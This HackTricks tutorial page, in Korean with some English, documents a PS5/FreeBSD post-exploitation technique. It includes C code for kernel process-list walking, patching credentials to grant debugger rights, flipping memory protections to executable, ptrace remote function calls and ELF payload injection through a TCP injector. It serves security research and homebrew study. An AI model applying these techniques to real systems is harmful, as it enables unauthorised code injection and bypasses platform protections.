FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 사례 연구)
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
이 페이지는 FreeBSD 기반인 PlayStation 5 (PS5)에서의 실용적인 Unix/BSD 유저모드 프로세스/ELF 인젝션 기법을 문서화한다. 이 방법은 이미 kernel read/write (R/W) primitives를 보유한 경우 FreeBSD 파생판으로 일반화된다. 주요 내용:
- 현재 프로세스의 credentials (ucred)을 패치하여 디버거 권한을 부여하고, 임의 사용자 프로세스에 대해 ptrace/mdbg를 가능하게 한다.
- kernel allproc 리스트를 순회하여 대상 프로세스를 찾는다.
- 커널 데이터 쓰기를 통해 대상의 vm_map에서 vm_map_entry.protection |= PROT_EXEC를 설정하여 PROT_EXEC 제한을 우회한다.
- ptrace를 사용해 Remote Function Invocation (RFI)을 수행: 스레드를 일시중단하고, 레지스터를 설정하여 대상 내부의 임의 함수를 호출한 뒤 재개하고, 반환값을 수집하고 상태를 복원한다.
- 프로세스 내 ELF 로더를 사용해 대상 내부에 임의의 ELF 페이로드를 매핑하고 실행한 다음, 페이로드를 실행하고 breakpoint를 트리거하여 깔끔하게 detach하는 전용 스레드를 생성한다.
이 기법과 관련해 주목할 PS5 하이퍼바이저 완화책:
- XOM (execute-only .text)는 커널 .text의 읽기/쓰기를 차단한다.
- CR0.WP를 클리어하거나 CR4.SMEP를 비활성화하면 하이퍼바이저 vmexit(크래시)를 초래한다. 데이터 전용 커널 쓰기만 가능하다.
- 유저랜드 mmap은 기본적으로 PROT_READ|PROT_WRITE로 제한된다. PROT_EXEC 부여는 커널 메모리의 vm_map 엔트리를 편집하여 수행해야 한다.
이 기법은 포스트-익스플로이테이션이다: 익스플로잇 체인으로 얻은 kernel R/W primitives를 가정한다. 공개 페이로드들은 작성 시점의 펌웨어 10.01까지 이를 시연한다.
Kernel data-only primitives
allproc를 통한 프로세스 탐색
FreeBSD는 kernel .data의 allproc에 프로세스의 이중 연결 리스트를 유지한다. kernel read primitive로 이를 순회하여 프로세스 이름과 PID를 찾는다:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Notes:
- KERNEL_ADDRESS_ALLPROC는 펌웨어에 따라 다릅니다.
- p_comm은 고정 크기 이름입니다; 필요하면 pid->proc 조회를 고려하세요.
디버깅을 위한 권한 상승 (ucred)
PS5에서는 struct ucred가 proc->p_ucred를 통해 접근 가능한 Authority ID 필드를 포함합니다. 디버거 Authority ID를 써 넣으면 다른 프로세스에 대한 ptrace/mdbg 권한이 부여됩니다:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58는 PS5 펌웨어 계열에 특정하며 버전별로 확인해야 합니다.
- 이 쓰기 후, injector는 ptrace/mdbg를 통해 사용자 프로세스에 attach하고 instrument할 수 있습니다.
RW-only 사용자 매핑 우회: vm_map PROT_EXEC flip
Userland의 mmap은 PROT_READ|PROT_WRITE로 제한될 수 있습니다. FreeBSD는 프로세스의 주소 공간을 vm_map_entry 노드들(BST plus list)로 구성된 vm_map에서 관리합니다. 각 엔트리는 protection 및 max_protection 필드를 가집니다:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
This bypasses userland’s mmap policy by editing kernel-owned metadata directly.
원격 함수 호출 (RFI) 및 ptrace
FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control:
- Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply.
- Save thread context: registers, PC, SP, flags.
- Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed.
- Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs.
- Restore original context and continue.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
로더는 segments를 매핑하고, imports를 해결하며, relocations을 적용한 후 entry(종종 CRT bootstrap)와 당신의 stager가 payload의 main()에 전달하는 불투명한 payload_args 포인터를 반환합니다.
스레드화된 stager와 깔끔한 detach
타깃 내부의 최소한의 stager는 ELF의 main을 실행하는 새 pthread를 생성한 다음 int3를 트리거하여 injector에게 detach하라고 신호를 보냅니다:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- SCEFunctions/payload_args 포인터는 loader/SDK glue에서 제공됩니다.
- breakpoint와 detach 후, payload는 자체 thread에서 계속 실행됩니다.
종단 간 파이프라인 (PS5 참조 구현)
작동하는 구현체는 작은 TCP injector server와 클라이언트 스크립트로 구성됩니다:
- NineS server는 TCP 9033에서 수신 대기하며, 대상 프로세스 이름을 포함한 헤더와 그 다음에 이어지는 ELF 이미지를 받습니다:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Python 클라이언트 사용법:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Hello-world payload 예시 (klog에 기록):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
실무적 고려사항
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) 는 펌웨어별로 다르므로 릴리스마다 업데이트해야 합니다.
- Hypervisor 보호는 데이터 전용 커널 쓰기만 허용합니다; CR0.WP 또는 CR4.SMEP를 패치하려 시도하지 마십시오.
- JIT 메모리는 대안입니다: 일부 프로세스는 실행 가능한 페이지를 할당하기 위해 PS5 JIT APIs를 노출합니다. vm_map protection flip은 JIT/mirroring 트릭에 의존할 필요를 제거합니다.
- 레지스터 저장/복원을 견고하게 유지하세요; 실패하면 대상이 데드락되거나 크래시할 수 있습니다.
공개 도구
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
참고자료
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.